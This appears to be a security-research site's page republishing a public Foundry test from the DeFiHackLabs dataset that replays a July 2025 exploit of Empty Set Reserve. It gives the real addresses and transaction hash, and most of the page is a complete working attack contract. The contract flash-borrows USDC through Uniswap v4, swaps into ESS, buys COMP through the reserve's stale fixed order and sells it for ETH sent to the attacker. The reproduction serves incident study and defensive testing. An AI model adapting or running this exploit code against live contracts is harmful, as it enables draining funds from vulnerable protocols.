Public reproduction file
src/test/2025-07/EmptySetReserve_exp.sol
Public reproduction file for dataset entry EmptySetReserve.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : $1,509.788// Attacker : 0xdDEB9e72fbecCa668fFD47314565954347ade5229// Attack Contract : 0x17E2c0844AE7CfE9D0B04cA923017F4892824E1510// Vulnerable Contract : 0xD05aCe63789cCb35B9cE71d01e4d632a0486Da4B11// Attack Tx : https://etherscan.io/tx/0x240e9573e6c59cfe025c311c176c351bb07a86ae994aaaff58ec3f7f84dab37212//13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0xD05aCe63789cCb35B9cE71d01e4d632a0486Da4B#code15// Vulnerable Implementation : https://etherscan.io/address/0x363aF3acFfEd0B7181C2E3c56C00922E142100a8#code16//17// @Analysis18// Telegram Alert : https://t.me/defimon_alerts/153219//20// Attack summary: The attacker used Uniswap v4 flash accounting to source USDC, DSU, and ESS, then bought COMP from21// Empty Set Reserve through its stale COMP/ESS fixed order and sold the COMP through Uniswap liquidity for ETH profit.22// Root cause: Empty Set Reserve exposed a stale/favorable fixed maker/taker order through swap(), allowing a public23// caller to buy the reserve's COMP inventory below market and extract the spread.25interface IPoolManager {26 function unlock(27 bytes calldata data28 ) external returns (bytes memory);29 function take(address currency, address to, uint256 amount) external;30 function sync(31 address currency32 ) external;33 function settle() external payable returns (uint256);34}36interface ITwoWayBatcher {37 function wrap(uint256 amount, address to) external;38}40interface IEmptySetReserve {41 function order(address makerToken, address takerToken) external view returns (uint256 price, uint256 amount);42 function swap(address makerToken, address takerToken, uint256 takerAmount) external;43}45contract ContractTest is BaseTestWithBalanceLog {46 address private constant ATTACKER = 0xdDEB9e72fbecCa668fFD47314565954347ade522;47 address private constant TRACE_ATTACK_CONTRACT = 0x17E2c0844AE7CfE9D0B04cA923017F4892824E15;48 address private constant RESERVE_IMPL = 0x363aF3acFfEd0B7181C2E3c56C00922E142100a8;50 IEmptySetReserve private constant RESERVE = IEmptySetReserve(0xD05aCe63789cCb35B9cE71d01e4d632a0486Da4B);51 IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);52 IERC20 private constant DSU = IERC20(0x605D26FBd5be761089281d5cec2Ce86eeA667109);53 IERC20 private constant ESS = IERC20(0x24aE124c4CC33D6791F8E8B63520ed7107ac8b3e);54 IERC20 private constant COMP = IERC20(0xc00e94Cb662C3520282E6f5717214004A7f26888);56 uint256 private constant FORK_BLOCK = 22_988_103;57 uint256 private constant TRACE_ETH_TRANSFER = 415_688_696_263_702_812;58 uint256 private constant LOCAL_REPLAY_PROFIT = 416_271_181_367_327_696;59 uint256 private constant LOCAL_REPLAY_ESS_RESIDUAL = 204_890_442_016_374_993_231_659;60 uint256 private constant TRACE_ORDER_PRICE = 267_010_781_166_742_363_801_758;61 uint256 private constant TRACE_ORDER_AMOUNT = 41_581_642_538_295_042_665;63 function setUp() public {64 vm.createSelectFork("mainnet", FORK_BLOCK);66 fundingToken = address(0);67 attacker = ATTACKER;69 vm.label(ATTACKER, "EOA attacker");70 vm.label(TRACE_ATTACK_CONTRACT, "trace attack contract");71 vm.label(address(RESERVE), "Empty Set Reserve proxy");72 vm.label(RESERVE_IMPL, "Empty Set Reserve implementation");73 vm.label(address(USDC), "USDC");74 vm.label(address(DSU), "DSU");75 vm.label(address(ESS), "ESS");76 vm.label(address(COMP), "COMP");77 }79 function testExploit() public balanceLog {80 (uint256 priceBefore, uint256 amountBefore) = RESERVE.order(address(COMP), address(ESS));81 assertEq(priceBefore, TRACE_ORDER_PRICE, "unexpected COMP/ESS order price");82 assertEq(amountBefore, TRACE_ORDER_AMOUNT, "unexpected COMP/ESS order amount");84 uint256 ethBefore = ATTACKER.balance;86 EmptySetReserveAttack attackContract = new EmptySetReserveAttack();87 attackContract.execute();89 uint256 profit = ATTACKER.balance - ethBefore;90 assertEq(profit, LOCAL_REPLAY_PROFIT, "ETH profit mismatch");91 assertGt(profit, TRACE_ETH_TRANSFER, "profit below traced transfer");92 assertEq(USDC.balanceOf(address(attackContract)), 0, "attack contract kept USDC");93 assertEq(COMP.balanceOf(address(attackContract)), 0, "attack contract kept COMP");94 assertEq(ESS.balanceOf(address(attackContract)), LOCAL_REPLAY_ESS_RESIDUAL, "unexpected ESS residual");95 assertEq(DSU.balanceOf(address(attackContract)), 0, "attack contract kept DSU");96 }97}99contract EmptySetReserveAttack {100 address private constant ATTACKER = 0xdDEB9e72fbecCa668fFD47314565954347ade522;101 IPoolManager private constant POOL_MANAGER = IPoolManager(0x000000000004444c5dc75cB358380D2e3dE08A90);102 ITwoWayBatcher private constant TWO_WAY_BATCHER = ITwoWayBatcher(0xAEf566ca7E84d1E736f999765a804687f39D9094);103 IEmptySetReserve private constant RESERVE = IEmptySetReserve(0xD05aCe63789cCb35B9cE71d01e4d632a0486Da4B);104 IUniswapV2Router private constant UNISWAP_V2_ROUTER =105 IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));106 Uni_Router_V3 private constant UNISWAP_V3_ROUTER = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);108 IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);109 IERC20 private constant DSU = IERC20(0x605D26FBd5be761089281d5cec2Ce86eeA667109);110 IERC20 private constant ESS = IERC20(0x24aE124c4CC33D6791F8E8B63520ed7107ac8b3e);111 IERC20 private constant COMP = IERC20(0xc00e94Cb662C3520282E6f5717214004A7f26888);112 IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));114 uint256 private constant FLASH_USDC = 10_000_000_000;115 uint256 private constant WRAP_DSU_AMOUNT = 227_550_528_462_023_058_437;116 uint256 private constant USDC_TO_WETH_AMOUNT = 227_550_528;117 uint256 private constant WETH_TO_ESS_AMOUNT = 62_460_734_547_587_260;118 uint256 private constant RESERVE_ESS_IN = 11_102_746_856_346_403_118_005_018;119 uint256 private constant COMP_TO_USDC_AMOUNT = 9_615_500_579_758_040_742;120 uint256 private constant COMP_TO_WETH_AMOUNT = 31_966_141_958_537_001_922;121 uint256 private constant LEFTOVER_USDC = 4_531_880;123 function execute() external {124 POOL_MANAGER.unlock("");126 uint256 leftoverUsdc = USDC.balanceOf(address(this));127 require(leftoverUsdc == LEFTOVER_USDC, "unexpected leftover USDC");128 _swapV2(address(USDC), address(WETH), leftoverUsdc);130 WETH.withdraw(WETH.balanceOf(address(this)));131 (bool ok,) = payable(ATTACKER).call{value: address(this).balance}("");132 require(ok, "ETH transfer failed");133 }135 function unlockCallback(136 bytes calldata137 ) external returns (bytes memory) {138 require(msg.sender == address(POOL_MANAGER), "only pool manager");140 POOL_MANAGER.take(address(USDC), address(this), FLASH_USDC);142 USDC.approve(address(TWO_WAY_BATCHER), type(uint256).max);143 TWO_WAY_BATCHER.wrap(WRAP_DSU_AMOUNT, address(this));145 DSU.approve(address(UNISWAP_V2_ROUTER), type(uint256).max);146 _swapV2(address(DSU), address(ESS), WRAP_DSU_AMOUNT);148 USDC.approve(address(UNISWAP_V2_ROUTER), type(uint256).max);149 _swapV2(address(USDC), address(WETH), USDC_TO_WETH_AMOUNT);151 WETH.approve(address(UNISWAP_V3_ROUTER), type(uint256).max);152 UNISWAP_V3_ROUTER.exactInputSingle(153 Uni_Router_V3.ExactInputSingleParams({154 tokenIn: address(WETH),155 tokenOut: address(ESS),156 fee: 3000,157 recipient: address(this),158 deadline: block.timestamp,159 amountIn: WETH_TO_ESS_AMOUNT,160 amountOutMinimum: 0,161 sqrtPriceLimitX96: 0162 })163 );165 ESS.approve(address(RESERVE), type(uint256).max);166 RESERVE.swap(address(COMP), address(ESS), RESERVE_ESS_IN);168 COMP.approve(address(UNISWAP_V2_ROUTER), type(uint256).max);169 _swapV2Path(address(COMP), address(WETH), address(USDC), COMP_TO_USDC_AMOUNT);170 _swapV2(address(COMP), address(WETH), COMP_TO_WETH_AMOUNT);172 POOL_MANAGER.sync(address(USDC));173 USDC.transfer(address(POOL_MANAGER), FLASH_USDC);174 POOL_MANAGER.settle();176 return "";177 }179 function _swapV2(address tokenIn, address tokenOut, uint256 amountIn) private {180 address[] memory path = new address[](2);181 path[0] = tokenIn;182 path[1] = tokenOut;183 IUniswapV2Router(UNISWAP_V2_ROUTER).swapExactTokensForTokens(amountIn, 0, path, address(this), block.timestamp);184 }186 function _swapV2Path(address tokenIn, address tokenMid, address tokenOut, uint256 amountIn) private {187 address[] memory path = new address[](3);188 path[0] = tokenIn;189 path[1] = tokenMid;190 path[2] = tokenOut;191 IUniswapV2Router(UNISWAP_V2_ROUTER).swapExactTokensForTokens(amountIn, 0, path, address(this), block.timestamp);192 }194 receive() external payable {}195}Analysis
Dataset entry
Public Foundry test for “EmptySetReserve” (2025-07-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xddeb9e72fbecca668ffd47314565954347ade522
- Attack Contract
0x17e2c0844ae7cfe9d0b04ca923017f4892824e15
- Vulnerable Contract
0xd05ace63789ccb35b9ce71d01e4d632a0486da4b
- Attack Tx
0x240e9573e6c59cfe025c311c176c351bb07a86ae994aaaff58ec3f7f84dab372
File record
- Name
- EmptySetReserve
- Path
- src/test/2025-07/EmptySetReserve_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 3cad0d3b175c315e2fb15bd5754815e08af39b24
- Language
- Solidity
- Size
- 196 lines
- Date
- 2025-07-24
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/EmptySetReserve_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3cad0d3b175c315e2fb15bd5754815e08af39b24, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.